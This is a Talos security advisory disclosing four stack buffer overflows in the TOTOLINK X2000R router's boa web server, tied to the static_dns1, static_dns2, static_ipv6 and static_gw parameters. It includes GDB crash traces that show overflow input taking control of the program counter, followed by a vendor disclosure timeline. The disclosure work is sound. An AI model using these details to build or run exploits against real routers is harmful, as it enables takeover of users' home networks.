TALOS-2026-2395
CVE-2026-42021,CVE-2026-42022,CVE-2026-42023,CVE-2026-42024
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formWsc peerRptPin functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)
X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html
9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.
A static buffer overflow exists in the static_dns1 variable, which is directly copied to the stack at [8] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution.
Breakpoint 1, 0x00457e70 in ?? ()
[>_>]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afea0 | s3 : 0x00000000
v1 : 0x00000000 | s4 : 0x00000000
a0[S] : 0x7fc5f8a8 | s5 : 0x00000001
a1 : 0x00000001 | s6[H] : 0x004c566c
a2[L] : 0x7782e2d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0 : 0x77834628 | t9[L] : 0x77cff8bc
t1 : 0x77834628 | k0 : 0x00000000
t2[H] : 0x004afde0 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77d1b020
t4 : 0x00000020 | sp[S] : 0x7fc5f850
t5 : 0x00000001 | ra[X] : 0x00457e6c
t6 : 0x000000a0 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr[H] : 0x004980f0
s0[H] : 0x004c4d90 | pc[X] : 0x00457e70
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000002 | restart : 0x00000000
***********************************************************************************
0x457e64: jal 0x40f600
0x457e68: move a0,s0
0x457e6c: addiu a0,sp,88
=> 0x457e70: jal 0x47bf60
0x457e74: move a1,v0
0x457e78: lui a1,0x48
0x457e7c: addiu a2,s1,-32576
0x457e80: b 0x457dbc
0x457e84: addiu a1,a1,-30260
***********************************************************************************
#0 0x00457e70 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57e70)
***********************************************************************************
[<_<]> x/1s $v0
0x4afea0: 'A' <repeats 200 times>...
[x.x]> c
Continuing.
warning: GDB can't find the start of the function at 0x457e70.
warning: GDB can't find the start of the function at 0x457e70.
[Detaching after fork from child process 9582]
Program received signal SIGBUS, Bus error.
0x42424242 in ?? ()
[?.?] uhhhh...? Unhandled signal, gg. SIGBUS
[^~^]> !ls
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7fc5f804 | s6 : 0x41414141
a2[S] : 0x7fc5f7e8 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x00323a3a
t0 : 0x00000000 | t9[L] : 0x777b4830
t1 : 0x0230a72f | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x00109412 | gp[L] : 0x77836400
t4 : 0x00000000 | sp[S] : 0x7fc5f9a0
t5 : 0x00000000 | ra : 0x42424242
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x31303032 | badvaddr : 0x42424242
s0 : 0x41414141 | pc : 0x42424242
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x42424242
#0 0x42424242 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
A static buffer overflow exists in the static_dns2 variable, which is directly copied to the stack at [9] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution.
Breakpoint 1, 0x00457dc8 in ?? ()
[o.o]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afda0 | s3 : 0x00000000
v1 : 0x00000000 | s4 : 0x00000000
a0[S] : 0x7fb84d88 | s5 : 0x00000001
a1 : 0x00000001 | s6[H] : 0x004bb12c
a2[L] : 0x779b62d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0 : 0x779bc628 | t9[L] : 0x77e878bc
t1 : 0x779bc628 | k0 : 0x00000000
t2[H] : 0x004afd98 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77ea3020
t4 : 0x00000020 | sp[S] : 0x7fb84d70
t5 : 0x00000001 | ra[X] : 0x00457dc4
t6 : 0x000000b8 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr : 0x778c5139
s0[H] : 0x004ba850 | pc[X] : 0x00457dc8
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000001 | restart : 0x00000000
***********************************************************************************
0x457dbc: jal 0x40f600
0x457dc0: move a0,s0
0x457dc4: addiu a0,sp,24
=> 0x457dc8: jal 0x47bf60
0x457dcc: move a1,v0
0x457dd0: addiu a1,sp,88
0x457dd4: jal 0x47b8d0
0x457dd8: li a0,10088
***********************************************************************************
#0 0x00457dc8 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57dc8)
***********************************************************************************
[>_>]> x/1s $v0
0x4afda0: 'A' <repeats 200 times>...
[<_<]> c
Continuing.
[Detaching after fork from child process 6675]
Program received signal SIGBUS, Bus error.
0x42424242 in ?? ()
[?.?] uhhhh...? Unhandled signal, gg. SIGBUS
[x.x]> !ls
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7fb84d24 | s6 : 0x41414141
a2[S] : 0x7fb84d08 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x41414141
t0 : 0x00000000 | t9[L] : 0x7793c830
t1 : 0x0e5e80dc | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x000a6776 | gp[L] : 0x779be400
t4 : 0x00000000 | sp[S] : 0x7fb84ec0
t5 : 0x00000000 | ra : 0x42424242
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x41414141 | badvaddr : 0x42424242
s0 : 0x41414141 | pc : 0x42424242
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x42424242
#0 0x42424242 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
***********************************************************************************
A static buffer overflow exists in the static_ipv6 variable, which is read in from our HTTP POST parameter at [4] and then copied to the stack at [5] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution.
Breakpoint 1, 0x00457d38 in ?? ()
[o.o]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afdd0 | s3 : 0x00000000
v1 : 0x00000041 | s4 : 0x00000000
a0[S] : 0x7fecd2f8 | s5 : 0x00000001
a1 : 0x00480000 | s6[H] : 0x004b5e8c
a2[L] : 0x77a202d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0[H] : 0x004afe50 | t9[L] : 0x77ef18bc
t1 : 0x77a26628 | k0 : 0x00000000
t2[H] : 0x004afe50 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77f0d020
t4 : 0x00000020 | sp[S] : 0x7fecd220
t5 : 0x00000001 | ra[X] : 0x00457d28
t6 : 0x00000030 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr : 0x7792f139
s0[H] : 0x004b55b0 | pc[X] : 0x00457d38
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000001 | restart : 0x00000000
***********************************************************************************
0x457d2c: beqz v1,0x457d50
0x457d30: lui a1,0x48
0x457d34: addiu a0,sp,216
=> 0x457d38: jal 0x47bf60
0x457d3c: move a1,v0
0x457d40: addiu a1,sp,216
0x457d44: jal 0x47b8d0
0x457d48: li a0,10086
***********************************************************************************
#0 0x00457d38 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57d38)
***********************************************************************************
[>_>]> x/1s $v0
0x4afdd0: 'A' <repeats 120 times>, "BBBB"
[<_<]> c
Continuing.
[Detaching after fork from child process 3731]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[^_^] SIGSEGV
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7fecd1d4 | s6 : 0x41414141
a2[S] : 0x7fecd1b8 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x00323a3a
t0 : 0x00000000 | t9[L] : 0x779a6830
t1 : 0x87d42900 | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x87d42901 | gp[L] : 0x77a28400
t4 : 0x00000000 | sp[S] : 0x7fecd370
t5 : 0x00000000 | ra : 0x41414141
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x34333231 | badvaddr : 0x41414140
s0 : 0x41414141 | pc : 0x41414141
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x41414141
#0 0x41414141 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
A static buffer overflow exists in the static_gw variable, which is read in from our HTTP POST parameter at [6] and then copied to the stack at [7] without any checks or restrictions whatsoever. As such, this easily leads to arbitrary code execution.
Breakpoint 1, 0x00457d70 in ?? ()
[o.o]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x004afe00 | s3 : 0x00000000
v1 : 0x00000041 | s4 : 0x00000000
a0[S] : 0x7f80a918 | s5 : 0x00000001
a1 : 0x00000001 | s6[H] : 0x004b0bec
a2[L] : 0x773182d0 | s7 : 0x0000000d
a3 : 0x00000001 | t8[X] : 0x0048c0dc
t0[H] : 0x004afeb8 | t9[L] : 0x777e98bc
t1 : 0x7731e628 | k0 : 0x00000000
t2[H] : 0x004afeb8 | k1 : 0x00000000
t3 : 0xfffffffc | gp[L] : 0x77805020
t4 : 0x00000020 | sp[S] : 0x7f80a880
t5 : 0x00000001 | ra[X] : 0x00457d60
t6 : 0x00000180 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr : 0x77227139
s0[H] : 0x004b0310 | pc[X] : 0x00457d70
s1 : 0x00480000 | fcsr : 0x00000000
s2 : 0x00000001 | restart : 0x00000000
***********************************************************************************
0x457d64: beqzl v1,0x457cf0
0x457d68: addiu a1,sp,296
0x457d6c: addiu a0,sp,152
=> 0x457d70: jal 0x47bf60
0x457d74: move a1,v0
0x457d78: addiu a1,sp,152
0x457d7c: b 0x457ce4
0x457d80: li a0,10087
***********************************************************************************
#0 0x00457d70 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x57d70)
***********************************************************************************
[>_>]> x/1s $v0
0x4afe00: 'A' <repeats 180 times>, "BBBB"
[<_<]> c
Continuing.
[Detaching after fork from child process 5270]
Program received signal SIGBUS, Bus error.
0x42424242 in ?? ()
[?.?] uhhhh...? Unhandled signal, gg. SIGBUS
[x.x]> !ls
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3 : 0x41414141
v1 : 0x00000001 | s4 : 0x41414141
a0 : 0x00000002 | s5 : 0x41414141
a1[S] : 0x7f80a834 | s6 : 0x41414141
a2[S] : 0x7f80a818 | s7 : 0x0000000d
a3 : 0x00000000 | t8 : 0x00323a3a
t0 : 0x00000000 | t9[L] : 0x7729e830
t1 : 0x03a3e359 | k0 : 0x00000000
t2 : 0xfffffffc | k1 : 0x00000000
t3 : 0x00075d8e | gp[L] : 0x77320400
t4 : 0x00000000 | sp[S] : 0x7f80a9d0
t5 : 0x00000000 | ra : 0x42424242
t6 : 0x00000000 | status : 0x0000f413
t7 : 0x34333231 | badvaddr : 0x42424242
s0 : 0x41414141 | pc : 0x42424242
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x42424242
#0 0x42424242 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent
Lilith Wyatt of Cisco Talos